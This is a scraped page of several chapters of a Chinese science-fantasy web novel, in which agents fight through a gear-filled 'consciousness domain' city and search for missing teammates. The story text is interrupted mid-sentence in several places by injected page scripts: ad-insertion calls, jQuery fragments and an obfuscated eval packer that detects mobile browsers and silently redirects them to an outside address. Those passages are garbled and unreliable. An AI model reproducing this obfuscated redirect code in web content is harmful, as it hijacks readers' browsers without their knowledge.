她们的装备都是量身定制,时序右眼【失明】,她的头盔根据她的状况做了特殊调整,头盔可以辅助她完善视野,让她得以跟正常人一样。 她有点岔气,同时她也庆幸自己反应够快,及时用斧头挡了一下,不然现在说不定她就拦腰截断了。 她扶着墙边仰头,黑塞跟早川结太乍看之下有来有回,但实际上他也快撑不住了,早川结太都变成刀枪不入的齿轮人了,黑塞可是赤手空拳。 侧肋的隐隐作痛提醒时序,她必须尽快做出决断,早川结太的程度远远超出她的想象。 “边老师,我没办法完成任务了,卓光远失踪,早川结太会飞,我……”时序捂着侧肋汇报。 “任务继续,不得中断。”回应时序的是林斐的声音。 “科长?”时序顿了顿,“防护服和头盔都有损坏,这样下去……” “异化粒子并不活跃。”林斐不近人情,又讲了句卓光远正在赶来支援后,单方面切断通讯,时序气的肋骨疼,卓光远不光自己跑路,还把巡逻机器人带走了,镭射枪能量有限,她刚浪费不少能量,已经打不了几次了,而且看样子压根没对抑制再生起到任何作用。 她要怎么办?她又不会飞,这个阈说是展开了,可一切又跟她在度假村见过的完全不一样。 24. 迷宫围城(八) 林斐的话断了时序求援的念想,她想的很简单,打不过就跑,反正系统发布的找幸存者的任务完成,她只要想办法带黑塞离开,后面大不了等研究中心支援。 眼前的城寨在她眼前一点点变化着,天井上方的空洞逐渐被倒立的一栋栋砖红色破楼填满,这里即刻就要成为完整的意识阈。 齿轮像雨滴般在空中飘散着,齿轮化成一道道雾状人影,时序躲到墙角,谁知道沾到这些用血肉化成的齿轮会变成什么稀奇古怪的玩意。 “我去,姐们儿赶紧用你那个镭射枪给他来上一梭子呀!我快撑不住了!”时序还在角落窝着,黑塞被异化物一巴掌,拍皮球一样把他拍到本就脆弱的墙壁上,黑塞把自己的脚好不容易从废墟里拔出来,无意间他跟时序四目相对。 眼瞅着时序这个老六居然悄悄躲起来,黑塞顿时气不打一处来。 聒噪的声音随之而来。 时序啧一声,拿出一直背着当摆设的镭射枪。 “你以为我不想吗?这是充能的,射击次数有限。”她解释,而且还跟她们新手任务时的镭射枪形态完全不一样,枪身更长,跟□□非常像。 黑塞扯下衬衣的破烂袖子,他身上大大小小都是被锯齿割破的伤口,也就头发稍微好点。 “气死我了,我的裤子啊!我新做的裤子啊!”他哭丧着脸,时序给镭射枪解除保险上膛,顺便说:“你进来没带武器?” “带了,我不想用。”黑塞一屁股坐地下,不知从哪摸出个用手帕包着的袋子,他眯缝着眼掀开手帕,还用手帕擦了擦手,透明食品袋里装着几块小动物形状的饼干,他手颤抖着撕开封口,拿出一块小狗样式的放嘴里。 “还是这个好吃,那些能量胶能量棒就不是人吃的!” 时序尽管非常赞同他的看法,但她现在对另一件事更好奇: “你在这里吃饼干,跟异化物打架的人是谁?” 抠抠索索吃了一块,黑塞封上食品袋的封口,重新用手帕包好,咂咂嘴回味:“哦,那是我的影子,多少能撑个几分钟,我累死了得歇会。” “……”这挺好啊,本体和影子车轮战,总能把对方磨死。 “你刚说你见过老板?看到我刚才吃的饼干没?那是她亲手!给我!做的!嘻嘻嘻!”黑塞居然开始炫耀。 时序的头盔动都没动。 “……没劲,哎,不用武器真打不过,这玩意真邪门。”黑塞站起来,临走前,他侧头摘掉右耳上的耳坠。 “我要逃跑。”时序抬头看了会黑塞消散的影子,突然开口。 她站起来,收起镭射枪,城寨的倒影从天井不停延伸,转眼已经遍布整个房顶,仔细看的话,会发现化为实体的倒影都是由无数齿轮组成。 在这个封闭的世界里,所有的一切都是齿轮。 人是齿轮,墙是齿轮,内脏是齿轮,细胞亦是齿轮。 【警告,警告,异化物等级上升至5级,请立刻请求救援,请立刻请求救援!】头盔内置的人工智能不停播放警告,时序关掉扰人心神的电子音。 “跟它硬碰硬占不到便宜,先想办法破解意识阈逃出去。”时序检查装备,“黑塞,我要先去找队友们会合,你跟我一起?还是自己想办法?” 她打算先去指定坐标点看看,通讯虽然被林斐切断,但终端的定位功能可以离线使用,卓光远说是来支援,但估计在意识阈里迷失了。 还是得自救。 影子消散后,黑塞将其化成一根长矛,暂时将【早川结太】钉在房檐下,他把耳饰戴回,斜眼瞥□□表齿轮被刮干净的早川结太,哼了声,“当然是跟你一块行动,我还不想死。” 两人不约而同对着钉在墙上动弹不得的早川结太行了个注目礼,而后小跑着匆匆离开。 一路逃窜的过程中,时序感到脚下的路正在变得越来越软,眼前的路满是肮脏灰尘,散发出淡淡的甜香。 “好香……”黑塞也闻到了。 “嘿!跑那么快干嘛?坐下来吃点东西嘛!” 时序停下脚步,四处张望着。 金属齿轮不停碰撞地面的敲击声消失,她的胳膊被人拽住,一位面善的阿姨抓住了她,笑着开口。 刚还跟她在一块的黑塞不见了,紧窄的小路时不时有人跟她擦肩而过,食物的香气混合着炒菜的油烟钻过来,对方力气不大的拉扯,趁时序恍惚的间隙,将她拉进小摊前的木桌前。 阿姨殷勤的擦干净桌椅,缈缈烟尘中,窄路的另一头传来隐约的戏腔,时序低头看桌子,桌子下她的腿上是一条白色绸面灯笼裤,脚下一双布鞋。 防护服和装备全没了。 她下意识地勾右眼眼罩。 眼罩还在。 “想食咩啊?”老板娘端来一碟酱菜给她。 ? 时序没回答,老板娘以为她没听清,又问一遍,还加了句,“今日有好食嘅猪扒盖饭(今天有好吃的猪排盖饭)。” ??? “额……”时序只听懂了【猪排盖饭】4个字,她点点头,伸出一根手指比划。 老板娘点头,快步进厨房。 她侧头,店外面人来人往,狭窄的街面没有路灯,大多都是各式小摊自己家门头的灯牌,照亮整个城寨。 “好对唔住,要你等左甘耐。”老板娘端着一碗热腾腾的猪排盖饭上来,时序压根听不懂,只好礼貌点头。 炸到金黄的猪排整齐地码在饭上,饭里有炒的黏糊糊的嫩滑蛋,老板娘递来一双卫生筷,这会已是入夜,小摊没什么人,老板娘索性坐到时序对面开始闲聊: “你住系边度(你住哪里)?” “……”时序咽了口唾沫,她听不懂啊!垃圾系统,连个翻译功能都没有! 老板娘察觉她听不懂,转而用带着浓重方言的普通话问:“你住哪里呀?怎么没见过你。” 时序连蒙带猜,估计对方问她住哪,她掰开筷子放到碗边,随便指了指,“我住那里。” 老板娘顺着她的视线:“喔难怪面生的啦,年纪轻轻的小女孩还是不要住那好,那里危险的啦。” 时序看着眼前色香味俱全的饭,吃也不是,不吃也不是。 “我有同伴住那里,不过 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我现在找不到他们了。”时序做出伤心的样子,把碗轻轻一推,老板娘见状给她倒了杯水,“哎呀你找我啦,我帮你找!先吃饭!” 倒是热情。 时序使劲掐自己大腿,疼得她挤出两滴眼泪:“谢谢老板娘,一个是我哥哥,一个是我弟弟,两人出来上工,现在都没回去,我一个人又害怕,找了好久。” 她说的自己都要信了。 老板娘来了兴趣,要时序形容两个人的外貌特征,时序说一个长发丸子头,一个是身材强壮的寸头。 “哎呀,丸子头我没见过,五颜六色的寸头我见过!”老板娘拍桌子,比时序还激动。 时序也激动了,“老板娘,你在哪里见到的?” 话音刚落她察觉自己语气不对,她立刻进行调整,假装呜咽:“我……我要去找他!” 老板娘:“等我好好想想啊,你先把猪排饭吃咯,吃完我差不多也想起来了。” “……呃……”时序只好坐下。 吃,还是不吃,这是一个问题。 老板娘只需要把猪排煎的黄金酥脆,而她这个食客考虑的就多了,这里是意识阈,谁也无法确定这碗猪排饭的真容是什么。 “老板娘我打包付钱,你告诉我他在哪?”时序又支棱起来,从裤兜里摸出一张钞票来,老板娘叹气,只好给时序打包。 “我记得下午见过他……”老板娘给她多夹了一筷小菜顺手放进打包盒里,“跟几个男仔去菜场来着。” 卓光远去菜场,时序想象不出来。 “我去找他,”时序接过打包盒,沉甸甸的,老板娘见状笑笑:“给你加个蛋啦,喏,你往那边走就到菜场咯。” 时序顺着她指的方向,盛夏的夜晚气候闷热,空气中的味道算不上好闻,她遥遥看去,热闹的菜场熙熙攘攘。 匆匆道谢她提着打包盒穿梭在人群中,来来往往的人像一条河,她逆着河流而上,迎来无数充满未知探寻的视线。 菜场在城寨的西南角,她记得无人机回传影像有这么一处地方,她加快脚步,无论如何能找到一个是一个。 跟她急促的脚步不同,这个时间正是下工的时候,狭窄的路上到处都是人,以往看起来阴森破旧的楼房都没那么阴森,时序的白色练功服在这里格格不入。 不光她的服装,就连整个人的气质也形成鲜明对比,她没有下班后回家的松弛感,如同紧绷的眼罩,她面色肃然地走路,好似每个人都是她的敌人。 “小姐,你边度离嘅?去边啊?(小姐,你从哪里过来的,去哪里啊)”路上时不时有人问,时序听不懂也没管,径直朝菜场方向走去。 【身材好正的小妞,搭讪一下拐回去……】 【长成这样一看就不是什么好货,哼,害我老公多看她好几眼。】 每个人都看上去善良,可借由系统的力量,时序看到了面皮下各种各样的龌龊心思,时序垂下眼,多么熟悉的恶意啊,为什么世界上从来不缺带着无限恶意去看她的人呢? 哪怕此刻的她戴着眼罩,哪怕戴着眼罩的她跟【漂亮】这个字挨不到边。 25. 迷宫围城(九) 时序冷冷一笑,她停下追寻的脚步,对再次过来搭讪的小混混比了个中指,混混们气急败坏,纠结了几个人,冲上来就要揍她。 她毫不怯弱,就在几只马仔即将冲过来之际,她一把掀翻旁边的水果摊,撞开身边的人飞速逃窜,几个人在后面穷追不舍,她反倒笑出声来。 “为什么要让我知道别人心里的想法?这样好恶心。”时序【自言自语】。 【恭喜宿主完成找到幸存者任务,任务奖励:可察看半径50米内任何生物的脑内活动。】 “啧。”这也是个很鸡肋的功能,不但鸡肋,还会让友谊走到尽头。 “企喺度!咪喐!”(站住别动) 时序边跑边转头哈哈大笑,“收声啦沙雕!” 反正这里是意识阈,她放肆一点,对方说不定还会露出破绽呢,如果按照这里的运行规律行动,反倒正中对方下怀。 进来后给她吃猪排饭的好心老板娘,再是对她怀有龌龊心思的各式男女,不就是想让她见过人性的真善美,再让她见到人性的丑恶想让她破防吗? 她偏不,自怨自艾从来不是她的风格,举起斧头砍爆一切才是她。 两人见宽的小路上随处可见被时序撞翻的路人,迎来一阵骂声,她伸手拿起水果摊上的烂水果看也不看往身后丢,随即传来痛呼,她知道她大约是丢中了某个人。 很快她顺着窄路跑到菜场,来不及休息,身后穷追不舍的混混们紧随而至。 “我看你……呼……还能往……往哪跑!”领头的马仔跑的直喘粗气,时序打量一番:黑背心花短裤,外加一双人字拖,能追上来也算不容易。 她深吸一口气,突然姿态轻盈灵活地跃到身旁肉铺的案板上,趁老板没反应过来将案板上的剁骨刀捞走,手中多了武器,马仔们眼神有点忌惮。 “对唔住喽老板,一会还你。”时序从案板上跳下,一个闪身拐进菜场一条肮脏小道。 出门在外,还是带个武器有安全感,她这么想着,随手用练功服的腰带擦了擦刀柄,剁骨刀的刀柄上滑腻腻的,握在手里容易脱手不说,黏腻的手感也让人感到不适。 “给我追!追不到砍死你们啊!死扑街!”领头马仔眼见时序身影隐入昏暗的小巷,急的掏出折叠小刀,其他几个混混见状纷纷效仿,马仔甩掉人字拖,光着脚追进去,今天说什么都要抓到那个女仔,让她知道知道惹到他的下场! 时序拐进的小巷是鱼贩放垃圾的地方,凹凸不平的砖路上净是积水,时序偶尔不小心一脚踩进水坑,溅起的水花沾满她白色的裤腿。 尽管踩到水花的一霎那,她有种汗毛倒立的不适感,但眼下不是在意的时候,路过垃圾桶她无意间多看了一眼。 看不出颜色的垃圾桶边缘,挂着鱼类的内脏和鱼鳞,直冲脑门的臭味让她想要呕吐,她拼命压下这股冲动,憋着气加快速度冲出小巷,来到菜场的仓库。 这会她有点后悔,没事挑衅这帮马仔,简直是吃饱撑的。 仓库非常大,且高,没灯,她左右看看,提着剁骨刀旋身躲到个一人见高的竹篮后,很快几个脚步跟上,停在了仓库大门附近。 “还挺会跑的!”领头马仔气喘吁吁,说话断断续续,时序听不清楚,正当她转头往仓库门边的拐角看过去时—— 就着门头几乎没用的小灯,她看到拐角有个人被五花大绑在太师椅上! 马仔小弟们正打着火柴地毯式搜索,时序大着胆子往门边挪动,想要看清楚被绑在椅子上的人。 她跟太师椅距离越来越近,马仔们离她也越来越近。 椅子上的人嘴上贴着几层胶布,双手绑缚太师椅椅背后,歪着头似乎昏迷了,马仔们的叫喊声惊醒了他,他睁开眼,看到踮着脚偷感十足的时序。 他立刻“唔唔唔”几声,时序恨铁不成钢,一脚踢倒太师椅,卓光远头跟地面【咚】的一声,他白眼一翻又晕了过去。 眼看就要发生一场恶斗,时序想了想,把打包盒放到卓光远身上,顺便还把人往里拖了拖,卓光远被打死是小事,把她的饭打翻了可是大事。 “原来你在这里!”马仔们听到动静迅速围过来,手电的强光晃到时序脸上,她下意识伸手挡光,马仔反被剁骨刀反射的手电光晃了眼。 时序不顾眼睛被强光照到的刺痛,提刀跃到马仔身前,用刀头背面使劲朝马仔面门锤过去,马仔慌忙用手电挡住,时序提腿下踹马仔膝盖,喀拉一声,马仔倒地不起,捂着膝盖在地上打滚。 剩下的几人见状,纷纷掏出武器冲过来,有折叠刀,有菜刀,甚至还有砍刀,时序抓过身旁的竹篮挡了一下,躲过其中一个的突刺,用剁骨刀围着脑袋转圈,有人过来她举头便砍,顺便还使劲踩了脚领头马仔的手。 但街上混的终归手段要脏一些,趁时序不备,她的麻花辫被抓住,头皮传来不堪负重的痛感,时序当机立断,转动剁骨刀刀柄,手肘朝上刀刃向外向身后劈去。 痛感顿时消逝,几缕发丝缠到她的侧脸,她来不及解救对方手里已经分家的麻花辫,挎着竹篮来回胡乱抡,一时间马仔们不敢近身,时序见状索性一脚踹翻边上堆积的竹篮,迅速溜出仓库。 猪排饭就好心送给卓光远当断头饭了,时序贴着墙跑,随时找机会方便溜号,猝不及防,没注意墙边伸出来的一只手—— 时序被手强行拽进墙里,穿墙而过,砖墙粗粝的磨砂感让她觉得自己变成了只软体虫子,强行从墙边的裂缝中挤进来。 “我去……”时序忍不住爆了粗口,黑漆漆的她看不清,本能地举刀就要砍下去: “哎姐姐姐,放下屠刀立地成佛啊!”公鸭嗓在她耳边炸开,时序强行改刀,刀刃向内,由竖砍变成横劈。 刀柄怼到对方,对方痛呼一声,时序收刀,刀柄别到腰间的长腰带上:“钟晴呢?” 安燃揉胸口被怼到的地方,“我们走散了,我本来在菜场买肉呢,结果你把老板刀抢走了,我就跟着你们过来了。” 他指指身后的男人,“让你穿墙过来的可不是我,是他,你别找我啊!” 时序就着月光往安燃身后看,身后的男人走出来,骚包的整了整压根没领子的棒球服,“哼哼!解救你于水火之中的,正是我——” 时序冰冷打断他,“卓光远也在这,既然你们两个在,咱们杀回去,俗话说三人成虎,把这帮衰仔杀得片甲不留!” 黑塞嚷嚷:“姐们儿你故意的吧!” 时序点头:“对,我就是故意的,少犯点傻比什么都强,好了,现在的优先 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 任务是把咱们的人都找着,卓光远在那边仓库被绑着,我给了他一份猪排饭,问题不大,先说说你怎么跟钟晴走散的。” 安燃黑塞对视一眼:卓光远被绑着,难道最大的可能性不是被混混们乱刀砍死吗? “……”安燃转念一想,卓光远皮糙肉厚,听八卦传闻连内脏都换成义体了,一般很难捅死吧…… 于是他也不再纠结卓光远,开口:“本来就在我准备跟钟晴从城寨外部的铁梯上来的时候……” “切断通讯?!科长,明明梵空——” “即刻执行。”林斐没有理会激动的安燃,看着梵空,梵空笑了笑,戴上牛仔帽。 “已经切断咯,科长,咱们好歹是一个团队的,给我们交交底呗。”梵空手指顶着帽檐,“咱们二科刚成立,我想科长也不想白白送掉时序。” 林斐调整着面罩,“意识阈正逐渐扩大,监测中心发来报告,【阈】里的异化粒子具有高度污染性,梵空的通讯也可能被反向污染,如果存在这样的可能性,那么通讯中所包含的信息也有被异化物解读的概率。” 她转向安燃,语调向下:“我需要你们进去,带上它。” “监测中心交给我们的,可以中和意识阈力场,减少污染性,把它放到【合适】的地点,一切自然迎刃而解。” 安燃接过装置,有些迷茫:装置是个金属盘,重量倒是挺重的。 “啊……原来如此。”梵空挤过来,她身边的检测机器人检测到装置,滑动到安燃身前,自动张开头顶,安燃疑惑地把装置放了进去—— “啧,监测中心的研发速度怎么越来越快了?这才多长时间,就研究出能对抗5级异化物的玩意了?再这样下去,我们不是要失业哦!”林蓦啧啧感叹,林斐双手揣兜,没表现出一丝一毫的放松与喜悦之类的情绪。 安燃傻傻站着,钟晴看不下去,问道:“科长,那合适的地方在哪里啊?监测中心没有提供坐标吗?” 安燃回过神来,对啊!要把这玩意放哪啊!而且有机器人,还用他们进去? 林斐顿了顿:“没有,这需要你们自行判断,半自律型机器人无法判定坐标。” 钟晴:“所以半自律的意思是,它能自动跟着我们走,感情另一半要我们负重前行啊!” 安燃心里给她竖大拇指,姐们儿吐的好槽啊! 林斐安静地盯着她们。 …… “科长说了,相信你一定知道【合适】的地点在哪!”安燃回忆,“于是我和钟晴还是按原计划从外部铁梯进入,只不过……” 他挠头:“我们一进来,这里已经变成现在这样了,然后钟晴和半自律机器人都消失了。” 话毕,时序狐疑看他,本来她就对安燃没报什么希望,只是,林斐看着可不像安燃嘴里说的这么相信她。 “姐儿们别纠结了,你们领导既然都发话了,咱们行动吧,你那个半自动机器人在哪呢?”黑塞摆手,左顾右盼。 安燃心虚别眼:“啊那啥……应该跟钟晴在一块……叭。” 天可怜见,他也是刚刚才想起来他们身边还跟了个机器人。 “……”时序叹气,所以现在看来,找钟晴的优先度更高了,几乎没有比找到钟晴更重要的事了。 26. 迷宫围城(十) 除了找到钟晴外,如何攻略意识阈也是个难题。 她们身上的防护服都不见了,她穿着一身白色练功服,安燃黑塞都是背心短裤人字拖,丢到马仔堆里毫不违和的那种。 时序心里发冷:这个【阈】,会渐渐把闯进来的人同化。 “我……这里时间的流速很怪,在肉铺遇到时序之前……”安燃眉头紧皱,“我……我呆了几天来着?” 黑塞接话:“大约一周?” 时序抿唇,她们都被意识阈赋予了不同的身份角色,被动地适应这里,融入这里。 想法如同旋涡般占据她的大脑,联动眼罩下的右眼隐隐作痛,她忍住抚摸眼罩的冲动,摇头:“别想了,小心异化,现在要先找到破解方法,你们对这个城寨熟悉吗?” 她列出任务:“卓光远先放放,现在还是得找到钟晴和半自律机器人,同时搜集信息,你们俩去搜集信息。” 反正通讯都断了,卓光远……时序眸色深沉,卓光远易怒易激动,还不听指挥,行事常常按照他的个人逻辑来,就算救回来,大概率也不会起到好作用,不破坏团结都要烧高香。 是死是活无所谓了,更何况他身上没有什么跟主线任务有关的因素。 问题一个套着一个,逐渐扩散的痛意令她无法集中精力思考,她索性直接问黑塞: “为什么你好像没受什么影响?” 黑塞手一挥,身上的背心短裤变回熟悉的衬衫长裤,时序问完,他抚平裤子上的褶皱:“你觉得这是能随便告诉陌生人的事情吗?” “我救了你。”时序说。 黑塞耸肩:“那又怎么样,我是不会说的,况且,”他突然开始龇牙咧嘴:“你以为我他爹的真傻啊?你是怎么把我弄醒的?还用我帮你回忆一下吗?” “那倒不用,我还想得起来,既然这样,你能把我们的防护服变回来吗?”时序摇头。 黑塞一股气憋在心口不上不下,时序不但没get到他的意思,还变本加厉地提要求。 “你——” “哎呀,他不说我说!”安燃看不下去,对黑塞比中指:转头解释道:“他这是异化了,十三区这样的人不少的,就跟超能力似的,就是不知道他的能力是什么,看着五花八门的。” “……”时序无言,说了跟没说一样。 不过根据安燃的话,她还是推测出黑塞使用的能力大概率还是跟所谓的异化有关。 就是不知道为什么有的人类异化会变成怪物,有的人则会拥有像【超能力】一样的能力。 “闲聊到此为止,黑塞,能办到吗?”时序提起精神,暗中悄悄使用了她刚解锁的新功能:查看方圆50米内生物的脑内活动。 “可以是可以,但你确定?这样不会显眼?”黑塞不情不愿的,掏出一块饼干,只不过这次是小猫咪的形状,时序目光定在饼干上,反应比方才迟缓了几秒: “没关系,你们维持现状。”她听到自己的声音时断时续。 黑塞吃完饼干,安燃从头看到尾,等他把饼干收好,安燃嫌弃:“你怎么女里女气的,还用手帕!” 黑塞回怼:“放恁爹的屁!这都是大仔教我的,大仔说了!用手帕是懂礼貌讲卫生的好行为!大仔还说,做人最不能少的就是品味!你这种人懂个屁!” 两个外表看起来早都成年的男人居然像小孩一样吵个不停,尤其是黑塞,一口一个大仔,吵得时序头痛,她喝止两人的争吵,让黑塞赶紧让她穿回防护服。 “……”安燃张张嘴,选择安静。 黑塞面对时序态度好了一丝,但也没什么好脸色,只见他突然下蹲,双手前伸,臀部后翘,一个标准的深蹲。 “喂,话说的好好的,你可不要随地大小便啊!”安燃惊的后退半步。 黑塞鼓着嘴满脸通红,只看上半身,还真有一种……随地大小便的感觉。 两人就这么看着黑塞扎马步,夏夜的风带着热气吹拂着时序的脸庞,她摸摸断掉的发梢,心里有一点点的失落。 看习惯后,其实麻花辫也不错。 风同样吹得黑塞的步摇和耳坠叮叮当当的,时序微微闭眼,享受片刻安宁。 “大仔……这有点难……”黑塞脖颈遍布青筋,时序睁开眼,眼睁睁看着身上的白色练功服渐渐蜕变为熟悉的防护服,头盔的重量压住她乱动的发尾,她的防护服回来了。 黑塞直起身,时序抬腕,终端真完好地戴在手腕上。 不光找回防护服,时序抚摸头盔,就连先前被早川结太破坏的头盔都被修复了。 怎么做到的?黑塞的能力是什么? 她心海翻腾,黑塞却还是吊儿郎当的模样,“嗨呀,我居然做到了!等从这里出去我一定要让大仔知道!哈哈哈哈!” 时序轻声问:“一直听你说大仔大仔,大仔是谁?” 黑塞摸鼻尖,哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948338|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼:“大仔就是大仔啊!哎可惜大仔不在十三区,不然这种程度的异化物,大仔一刀一个。” 他又开始不分场合地长篇大论:“我跟你讲啊,你跟大仔肯定合得来!大仔也喜欢用斧头啊刀啊的,而且!大仔也是麻花辫!不过大仔的麻花辫比你好看!” 时序不想听:“算了,我们各自行动吧,安燃,好好看住黑塞,等任务结束把他带回研究中心。” 黑塞炸毛:“喂你怎么恩将仇报啊!我帮你恢复了你还要抓我?你们这帮差佬怎么心眼这么坏的!” 安燃才不管这么多,他一把抓过黑塞,肩并肩哥俩好的样子:“么问题组长!我一定把人看的牢牢的!” 时序挥手,示意赶紧行动。 三人离开菜场仓库。 现在正值后半夜,城寨的摊位大多也都准备收摊了,四下无人,时序终于可以稍微放松—— 她回到先前发现卓光远的仓库,之前的打斗痕迹还在,时序走过去把掉地上的竹篮放回原处,太师椅上没有人,只有一截麻绳。 给卓光远的猪排饭也不见了。 她吐出口气,摘下头盔掀开眼罩,低声自语:“黑塞……为什么系统看不到他的脑内活动?” 【宿主权限不够,无法查看异化能力者的脑内活动。】 系统回答她。 这不意外,时序哼笑一声,此刻她眼中的城寨不是城寨,而是由无数条黑白线条组成,右眼流出猩红眼泪,脑袋充斥着尖锐的杂音,销声匿迹的无数画面再度奔涌而来,她忍受着纷杂的思维,连自己的声音都听不清。 【宿主是否启动钥匙。】 黑色柱体即将脱出眼眶,时序摇头: “不。” “我想使用收纳进来的【核】的能力。” 系统沉默一会: 【权限打开,限时:1333秒。】 时序长吁口气,她合上眼罩,“异化能力者啊……那安燃也一样……” 两个人的脑内活动全部读取失败,她【听】不到两个人的想法,但眼下这都不是最重要的,重要的是她如何找到钟晴。 没有任何头绪。 她打开终端,终端的坐标功能可以离线使用,她点开钟晴,上面没有任何显示。 看来终端没有恢复的话,看不到坐标。 她锁上头盔,穿着一身防护服步入昼夜相交的城寨,没办法,只能走一步看一步了。 27. 迷宫围城(十) 今天也是充满希望的一天。 钟晴起得很早,天刚蒙蒙亮,虽然她很想得闲睡个懒觉,可只要想到多睡一个小时,距离她的梦想可能晚一天才能实现,她的睡意便消失了。 睁开迷蒙双眼,钟晴拖着疲惫的身体从床上坐起来。 明明一觉到天亮,却还觉得浑身疲惫跟没有睡觉似的。 她脚步虚浮,游荡到狭窄的卫生间,表情麻木地把牙刷怼到嘴里,塑料牙刷不小心怼到牙龈,痛得她清醒一些。 吐出带血的泡沫,她漱口,接着拧开生锈的水龙头,双手接了一捧,当带着浓重消毒水味道的自来水泼到她的脸上时,她彻底清醒了。 用毛巾擦了把脸,她抬头看着镜子里的自己。 布满血丝的双眼,眼下的黑眼圈,脑门上不停冒出来的痘痘,她垂下眼,卫生间只容得下面盆和马桶,连她都快容不下了。 低头的瞬间,剧烈的晕眩感侵袭而来,她赶紧闭上眼睛,想着大概是地面上的马赛克瓷砖晃到了眼。 她走出卫生间,回到卧室。 卧室同样很狭窄,一张小床一个小小的衣柜就是全部。 反正只是睡个觉,总比睡在房檐上要好点,钟晴扯扯嘴角想要笑,可她怎么都笑不出来。 时间不允许被浪费,她每天只有睁开眼睛到洗漱的十几分钟是可以思考的,其他时间她都被工作占据。 她时常觉得自己像是这座城市中一个微不足道的小齿轮,这里没有她也能运转,可她离开这里又能去哪呢? 她甩甩头,爬上床开始换衣服,老板苛刻得很,迟到一分钟恨不得扣掉一天工钱。 钟晴拿出衣柜里一套洗的变形的运动服,还有一双布鞋,她穿的很快,转眼她已经穿戴整体。 她从放到床边的小桌板上拿出一袋面包边,思虑再三,她伸进食品袋拿出两三条面包边再放回去,,她走到门边准备拿门后挂着的线手套—— 回头的一刹那,她涌起一股冲动,自从搬进来,她从来没有拉开过窗帘,她突然好想拉开窗帘看看。 也许每天临出门前她都想这么做,只是每天她都放弃了。 今天本应如往常一样—— 钟晴突然转身,她快速爬到窗边,用前所未有的坚定力度拉开了窗帘—— 窗后是看不到顶的黑漆漆的砖。 也是呢,这里都是楼挨着楼,怎么可能看得到蓝天白云? 怎么配看到呢? 钟晴不愿意去想她是怀着什么样的心情走出家门的,她不敢去想,于是她今天工作的格外拼命,连老板都没有责备她偷懒了。 人人都说这里即将变成工业中心,她们是先遣队,想要建造工厂,必须要填海,制造更多的陆地。 工厂建起来,以后这里不光是工业中心,也是世界中心了,巨型的挖掘机每天日夜不停工作着,连同她们也不眠不休。 只要肯吃苦肯努力,美好的未来在等着她们。 钟晴一开始同样听得热血沸腾,她当然希望自己能出人头地,谁不希望自己变成厉害的人? 只是时间久了……满腔热情褪去,一同褪去的还有各种大型机械。 人仍然源源不断地奔袭而来,希望却如被逐渐填上的海岸线越来越远。 这里是一座城市,也是困住她的监狱。 “阿晴呀,今天怎么心不在焉的?有心事?”午饭时同事问她。 钟晴从思绪中抽身,她放下勺子,摇头:“没啦,我有点累,大概没睡好。” 同事把自己饭里的炒滑蛋给了她一勺:“想那么多干嘛啦,吃好睡好就好啦!人只要活着,生活总有盼头的呐!” 钟晴道了声谢,拿起勺子,同事这句话不单单是在安慰她,也是说给自己听的。 她一口一口吃着饭,饭实在算不上好吃,不过有蛋有菜,怎么都是比能量胶有滋味的…… ??? 能量胶? 钟晴脸上疑惑,她看着勺子里粒粒分明的饭,眨眼前的零点几秒,她似乎看到饭变成粒粒分明的齿轮。 “呕……”钟晴忍不住侧头干呕。 同事担心地起身,想要帮助钟晴,钟晴下意识拍开同事的手,“别……别碰我!” 这里是哪里? 她在干什么? 一个习以为常的思维习惯,此刻却好似黑洞要将钟晴吞噬。 “抱……歉,对唔住,我……我有点失控……”钟晴意识到不对,她立刻道歉,同事没有计较,给她递水:“我懂啦,每个月都有那么几天嘛,要不我们下班去跳迪斯科?好耐冇去喇,有点想咯!” 拒绝的话绕了一圈,终究变成同意。 刚才是怎么回事?钟晴吃不下一口饭,思绪重归混沌,脑海里一道声音阻止她继续思考,她放下勺子,眼神发直地随同事拿起餐盘,面无表情将吃剩的饭连同餐盘扔进垃圾箱。 今天也是充满希望的一天。 …… 是夜。 钟晴终于下工了,她挎着竹篮,里面装满洗漱用品,她打算去洗个澡。 中午一起吃饭的同事在一边吐槽工作时发生的糟心事,钟晴没怎么听,这点路也是她为数不多能思考的时间,实在不想浪费在家长里短上。 “哎,一会去迪斯科啊!我还约了人,靓仔呐!”同事又提醒一遍,钟晴还是木木的,她点点头,今天一整天她都觉得脑袋像一团浆糊,说不定去舞厅跳跳舞,放松下她就没那么不舒服了。 于是洗完澡,她特地描了描眉毛,让自己看上去不那么憔悴。 晚上十点来钟,她们回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958574|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到城寨,城寨里热闹得很,正是下工的时候,少不了下班吃夜宵的人,食物的香气调动了钟晴的神经,她感受到饥饿。 “先吃点东西再去吧。”她提议。 同事使劲点头:“对对对,我看你中午都没怎么吃,你想吃什么?叉烧饭?” 钟晴摇头:“叉烧饭太贵,算了。” 今天的钟晴看起来很怪,同事话到嘴边选择沉默,她不是不能理解…… 想到接下来发生的事,她生出一点点惋惜,钟晴见她盯着叉烧饭出神,以为她想吃:“还是吃叉烧饭吧,偶尔吃一顿也不会……” 